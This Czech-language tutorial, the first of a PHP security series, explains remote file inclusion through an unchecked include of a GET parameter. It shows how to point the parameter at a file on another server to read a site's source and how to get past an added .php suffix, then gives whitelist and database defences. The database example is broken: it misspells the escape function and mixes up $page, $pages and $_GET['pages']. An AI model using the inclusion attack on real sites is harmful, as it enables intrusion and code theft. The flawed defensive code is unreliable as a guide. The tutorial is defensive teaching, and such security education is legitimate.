V úvodním díle o bezpečnosti v PHP si představíme celý seriál a podíváme se na zoubek PHP Injekci.
Webová bezpečnost je často noční můrou kdejakého začínajícího vývojáře. Nejčastěji se však stává až po prolomení stránky. Hodiny mučení u opravování chyb jak původních, tak vzniklých cizích útokem si jistě zažil každý z nás. Ačkoliv preferuji nabývání zkušeností z chyb, občas je lepší se tomuto způsobu vyhnout a podívat se na způsoby předcházení.
V tomto malém seriálu se podíváme nejen na ty nejznámější chyby, jako je PHP Injekce, ale prozkoumáme taje útoku CSRF, pokusíme se ukrást SESSIONS promocí JS injekce a dalších. Články jak budou řazeny za sebou, budou nabývat na těžkosti prolomení i prevence. Na konci každého článku vytvořím na speciální doméně cvičný script, kde si budete moci vyzkoušet každý z útoků (samozřejmě že např. u PHP Injekce budu filtrovat jen externí stránku, nebudu ji includovat). Na závěr každého dílu byste měli být schopni jak zabezpečit svoji stránku, tak chyby využít. Již teď však upozorňuji, že pokud chcete útočit na cizí stránku, jedná se o nelegální akci a můžete být dle toho trestáni.
Při čtení toho článku byste také měli mít určité základy PHP a HTML a ovládat pojmy server, klient.
Abych tu nemluvil tak naprázdno, již dnes si ukážeme první techniku.
PHP Injekce
PHP Inejkce je
- druhá nejčastější chyba na PHP stránkách,
- nejkritičtější chyba v PHP,
- chyba začátečníků i pokročilých,
- nejsnadněji opravitelná chyba.
I přes to, že bylo o této chybě napsáno mnoho, každá v průměru třetí stránka tuto chybu obsahuje. Ačkoliv existuje plno zajímavých „fíglů“, jak se bránit, moc jich vlastně neexistuje. Na fóru se objevil i dotaz, co to PHP Injekce vlastně je, což mě utvrzuje jen v tom, že i přes množství článků je pořád o chybě napsáno málo.
Ukázka náchylného kódu:
<?
include $_GET['page'];
?>
<a href="?page=next.php">Další stránka</a>
Teoreticky vzato se na stránku vloží parametr předaný proměnnou $page. Klikneme-li na odkaz, bude vše normální. Avšak všechny proměnné GET se dají jednoduše upravit v URL. Příkaz include vloží do cílové stránky stránku odkazovanou.
Vytvoříme si na jiném serveru (např. neco.ltd) soubor index.php. Asi nás bude zajímat převážně jedna věc – zdrojový kód.
<?
show_source("index.php");
?>
Nakonec do proměnné $page předáme page=http://neco.ltd/index.php
a potvrdíme.
Že by něco nefungovalo? Chyba v Matrixu to není. Kdopak přijde na to, kde máme chybu? Správná odpověď bude asi jinde, než byste očekávali. PHP kód se vykoná již na odkazovaném serveru, tudíž se cílové stránce vypíše obsah našeho souboru… takový malý vedlejší efekt. Aby nám to fungovalo, jednoduše přejmenujeme soubor na index.txt. Nyní by se nám již měl ukázat kód napadnuté stránky. Ale my tu nejsme od toho, abychom hackovali, ale od toho, abychom se mohli bránit. Za svoji dobu jsem se setkal s několika způsoby ochrany. Ty nejčastější si ukážeme a všechny je pokoříme :-).
Přidání koncovky .php
<? include ($_GET['page'].".php"); ?>
Již víme, že pokud vytvoříme stránku, kde bude přípona .php, script se vykoná na odkazujícím serveru. Jak tedy na to? Dlouho jsem si myslel, že je problém neřešitelný, než mě napadlo: „Proč by se musel PHP kód vykonat?“. Nehledejte pod touhle větou žádné spiknutí, odpověď je mnohem prostší.
Společnost Seznam, a. s. nabízí krom mnoha jiných služeb i opravdu jednoduchou možnost prezentace svých webových stránek. Služba se nazývá SWeb a opravdu nic na ní neuděláte. Ale k něčemu je dobrá? Právě, když chcete, aby se nic nedalo, může se tato služba od Seznamu hodit. SWeb totiž nepodporuje PHP! K souboru .php se tedy bude chovat, jako by to byl textový soubor. Oběti se tedy předá celý kód a je po problému.
Kontrola funkcí
file_exists()
Tato chyba by se dala obejít dvěma způsoby:
- uložením souboru na jiném webu, který leží na stejném serveru (možné pouze u neprofesionálních hostingů),
- chybou v uploadu (touto se budeme zabývat).
file_exists()
využít, ale osobně to příliš nedoporučuji.
Existují i další způsoby obcházení této funkce, pokud se chcete dozvědět více o útoku (my se zabýváme obranou), odkazuji vás na tento článek.
Již víme, co je to PHP Injekce. Také víme, že neošetřená inkluze souboru může mít katastrofální následky. A rovněž jsme zjistili, kdy smíme použít file_exists()
a kdy ne. Co nám chybí? Už jen řešení problému.
Otroci všech stránek, spojte se
<?
$page = $_GET['page'];
if (($page== "") || ($page == "main")) {
include "main.php";
}
elseif ($page=="download") {
include "download.php";
}
//...
else {
include "errors/404.php";
}
?>
Asi nikdo se nebude chtít podřizovat stránce. Upřímně, i já jsem kdysi volil tento způsob. Dnes již vím, že hrát si na otroka své vlastní stránky nemám zapotřebí. Doufám, že jste si pozorně prohlédli tento kód. Teď ho zas rychle zapomeňte a jdeme vylepšovat.
Switch
<?
if (IsSet($_GET['page'])) {
$page = $_GET['page'];
switch($page) {
case 'uvod':
include "main.php";
break;
case 'download':
include "download.php";
break;
//...
default:
include "errors/404.php";
break;
}
}
?>
Tento způsob je mnohem lépe upravitelný a přehlednější. Pro někoho to již může stačit, pro někoho ne.
Pole, pole a zase jednou pole
<?
//Tento skript vylepšil hrach
if (IsSet($_GET['page'])) $page=$_GET['page'];
else $page="main";
$pages = array(
'main' => 'main.php',
'download' => 'pages/download.php'
);
if (isset($pages[$page])) {
include($pages[$page]);
}
?>
Oblíbenost této verze záleží převážně na vztahu k polím. Možností by také bylo toto:
<?
if (IsSet($_GET['page'])) $page=$_GET['page'];
else $page="main";
$pages_name = array('main','download');
if (in_array($page,$pages_name)) {
include("stranky/".$page.".php");
}
?>
U obou možností se však setkáváme s poměrně velikým problémem. To je neschopnost rychlých a efektivních úprav, na kterou jsem již upozorňoval v prvním případě. Tyto možnosti jsem uvedl primárně pro ty, kteří nechtějí či nemají možnost využívat databáze.
Využití databáze
Tu nejhezčí možnost jsem si nechal na konec. Je jím databáze. Rychlý, efektivní a snadný způsob pro správu. Je jen na vás, jak si tyto kódy upravíte; jestli je tedy využijete. Jen pozor! Při větší návštěvnosti nemusí databáze ustát provoz, je-li omezen počet připojení k db/hodinu.
Tabulka:
create table if not exists `presmerovani` (
`id` int(10) auto_increment,
`name` varchar(255),
`link` varchar(255),
PRIMARY KEY(`id`)
);
Řádek name
uchovává název stránky předávanou v proměnné $_GET['pages'], link udává cestu k souboru.
<?
//připojení k DB
include "connect.php";
$page = mysql_escape_sting($_GET['pages']); // ošetření proti mysql injekci
$db = mysql_query("select * from presmerovani where name = '$pages'");
$results = mysql_num_rows($db);
if ($results == 1) {
$fetch = mysql_fetch_array($db);
include $fetch['link'];
}
else {
//např. přesměrování na informaci o neexistující chybě, zaznamenání pokusu o útok, vypsání hlášky...
}
?>
Závěr
Znovu vás všechny zde přítomné prosím, abyste neničili cizí stránky. Vzpomeňte si na vaše začátky. A když už musíte lézt do kódu, alespoň o chybě informujte správce stránky.
Doufám, že vám tento článek ukázal problematiku PHP Injection. Pevně věřím, že nikdo, jak tu jste, již nenechá své stránky napospas útočníkům.
Na příště jsem původně chtěl připravit článek o MySQL injekci, nicméně zde na portálu se již kvalitní článek o této chybě vyskytuje.
V příštím článku si ukážeme zabezpečení uploadu.
Cviční script
Jak jsem slíbil, na konci každého dílu si můžete vyzkoušet své získané vědomosti. Na této stránce si můžete vyzkoušet útok na náchylnou stránku. Přeji příjemnou zábavu.
› Script